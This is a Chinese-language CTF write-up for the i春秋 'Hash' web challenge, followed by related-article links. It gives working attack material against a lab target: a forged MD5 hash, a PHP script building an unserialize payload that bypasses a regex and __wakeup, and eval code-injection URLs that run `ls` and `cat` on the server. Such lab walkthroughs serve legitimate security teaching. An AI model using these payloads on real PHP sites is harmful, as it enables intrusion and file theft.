打开题目页面是一个超链接

先查看源码得到一段信息

没什么,这只是超链接跳转的信息

点击跳转到下一个界面

提示我们如果我们的传入不是123,123也就是key了,在上面的url就可以看到

如果key!=123我们就能得到flag

然后后面是一段隐藏的信息,需要查看源码才看得到

<!--$hash=md5($sign.$key);the length of $sign is 8

告诉我们hash等于sign.key的md5加密,然后sign的长度是8

题目中给了一段key与hash的例子

key=123&hash=f9109d5f83921a551cf859f853afe7bb

先对hash md5解密一下试试

解出来是kkkkkk01123

取其前8位就是kkkkkk01,所以这里的sign=kkkkkk01然后key=123

很简单嘛,直接修改了就,让key=111然后sign还是等于kkkkkk01,构造hash=md5(kkkkkk01111)

adaa10eef3a02754da03b5a3a6f40ae6(注意,这里是32位的md5加密)

构造出url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/index.php?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6

访问之,提示我们next step is Gu3ss_m3_h2h2.php

不多说,直接访问试试

一段php代码

看看源码有没有什么遗漏的

(。。。。。应该没有)

审计代码

先定义了一个demo类然后是一个if语句,如果存在GET传入的var就执行,再定义变量var等于base64解密的GET[‘var’],然后一个正则表达式,如果匹配就输出stop hacking,此外就将var反序列化,此外高亮文件Gu3ss_m3_h2h2.php

再看他的demo类

先是定义私有变量file让它指定一个文件

然后再定义一个共有函数,让其this变量指向file的值等于file

再定义函数__destruct(),让其输出高亮的文件。。。也就是我们看到的

然后又定义一个函数,如果this_file指向的文件不是这个就让其等于这个

最后还有一句注释,这秘密在f15g_1s_here.php

大概意思懂了,url处通过请求访问Gu3ss_m3_h2h2.php文件,如果不是这个文件名的访问则会自动访问这个Gu3ss_m3_h2h2.php文件,但是秘密又在另一个文件中,而且我们不能hack这个网页

。。。。。。。

想想只需要绕过就行了吧

我们这里就写个脚本来加密下f15g_1s_here.php来绕过它

<?phpclass Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>

本地运行即可得到我们需要传入的值

TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 构造url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

成功进入下一步

再审计,如果存在GET传入的val就令变量val等于其,然后eval一段内容,内容具体组成是value的值连上val的addslashes转义字符串再连上;组成

很明显了,这里就要我们利用eval()来获取到flag

先试试f15g_1s_here.php?val=${eval("echo 'ls' ;")}

发现页面没有显示了就。。。。看来不能这样用,因为上面的提示中提到了addslashes转义,它会将我们的’”都进行转义所以就不能这么构造eval指令

这里使用url的GET传值来避免val中的’ls’被转义构造payload:

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

查看到所有文件,再cat查看

Payload:

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

页面也没有回显,查看源码得到flag

i春秋Hash的更多相关文章

  1. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  2. i春秋DMZ大型靶场实验(四)Hash基础

    下载工具包  打开目标机 通过目录爆破发现 phpmyadmin    在登录位置尝试注入 返现 可以注入 直接上sqlmap    上 bp 代理抓包 sqlmap.py  -r  bp.txt  ...

  3. 复杂的 Hash 函数组合有意义吗?

    很久以前看到一篇文章,讲某个大网站储存用户口令时,会经过十分复杂的处理.怎么个复杂记不得了,大概就是先 Hash,结果加上一些特殊字符再 Hash,结果再加上些字符.再倒序.再怎么怎么的.再 Hash ...

  4. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  5. 散列表(hash table)——算法导论(13)

    1. 引言 许多应用都需要动态集合结构,它至少需要支持Insert,search和delete字典操作.散列表(hash table)是实现字典操作的一种有效的数据结构. 2. 直接寻址表 在介绍散列 ...

  6. hash表长度优化证明

    hash表冲突的解决方法一般有两个方向: 一个是倾向于空间换时间,使用向量加链表可以最大程度的在节省空间的前提下解决冲突. 另外一个倾向于时间换空间,下面是关于这种思路的一种合适表长度的证明过程: 这 ...

  7. SQL Server-聚焦查询计划Stream Aggregate VS Hash Match Aggregate(二十)

    前言 之前系列中在查询计划中一直出现Stream Aggregate,当时也只是做了基本了解,对于查询计划中出现的操作,我们都需要去详细研究下,只有这样才能对查询计划执行的每一步操作都了如指掌,所以才 ...

  8. C# salt+hash 加密

    一.先明确几个基本概念 1.伪随机数:pseudo-random number generators ,简称为:PRNGs,是计算机利用一定的算法来产生的.伪随机数并不是假随机 数,这里的" ...

  9. SQL 提示介绍 hash/merge/concat union

    查询提示一直是个很有争议的东西,因为他影响了sql server 自己选择执行计划.很多人在问是否应该使用查询提示的时候一般会被告知慎用或不要使用...但是个人认为善用提示在不修改语句的条件下,是常用 ...

  10. 对一致性Hash算法,Java代码实现的深入研究

    一致性Hash算法 关于一致性Hash算法,在我之前的博文中已经有多次提到了,MemCache超详细解读一文中"一致性Hash算法"部分,对于为什么要使用一致性Hash算法.一致性 ...

随机推荐

  1. 从零开始搭建gitea代码管理平台

    Gitea,一款极易搭建的Git自助服务.如其名,Git with a cup of tea.跨平台的开源服务,支持Linux.Windows.macOS和ARM平台.配置要求低,甚至可以运行在树莓派 ...

  2. 解决element-ui中组件【el-upload】一次性上传多张图片的问题

    element-ui 中的组件 el-upload默认的行为是一张图片请求一次,在项目需求中,通常是多张图片要求只向后台请求一次,下面的做法就是为了实现这样的需求 前端 <el-upload r ...

  3. Ros入门21讲

    一.ROS是什么? ROS=通信机制+开发工具+应用功能+生态系统 目的:提高机器人研发中的软件复用率. 1.ROS中的通信机制 松耦合分布式通信: 注意:什么是耦合.紧耦合.松耦合? 1.1 耦合 ...

  4. 从零打造“乞丐版” React(一)——从命令式编程到声明式编程

    这个系列的目的是通过使用 JS 实现"乞丐版"的 React,让读者了解 React 的基本工作原理,体会 React 带来的构建应用的优势 1 HTML 构建静态页面 使用 HT ...

  5. 使用 Elastic 技术栈构建 K8S 全栈监控 -4: 使用 Elastic APM 实时监控应用性能

    文章转载自:https://www.qikqiak.com/post/k8s-monitor-use-elastic-stack-4/ 操作步骤 apm-servver连接es使用上一步创建的secr ...

  6. 五、frp内网穿透客户端frpc.ini各配置参数详解

    [必须]标识头[common]是不可或缺的部分 [必须]frps服务端IPserver_addr = 0.0.0.00.0.0.0为FRP服务端IP,客户端要填写为服务端已配置的对应的IP,或者是服务 ...

  7. Kubernetes DevOps: Jenkins Pipeline (流水线)

    要实现在 Jenkins 中的构建工作,可以有多种方式,我们这里采用比较常用的 Pipeline 这种方式.Pipeline,简单来说,就是一套运行在 Jenkins 上的工作流框架,将原来独立运行于 ...

  8. Logstash:解析 JSON 文件并导入到 Elasticsearch 中

    转载自:https://elasticstack.blog.csdn.net/article/details/114383426 在今天的文章中,我们将详述如何使用 Logstash 来解析 JSON ...

  9. 安全强化Linux 服务器的七个步骤

    这篇入门文章将向你介绍基本的 Linux 服务器安全知识.虽然主要针对 Debian/Ubuntu,但是你可以将此处介绍的所有内容应用于其他 Linux 发行版.我也鼓励你研究这份材料,并在适用的情况 ...

  10. Python(二)常用的正则表达式

    表单字段验证常用正则表达式 1.姓名 /^[\u4e00-\u9fa5]{2,4}$/ //2-41 2.手机号码 /^(13[0-9]|14[01456879]|15[0-35-9] 3.座机号码 ...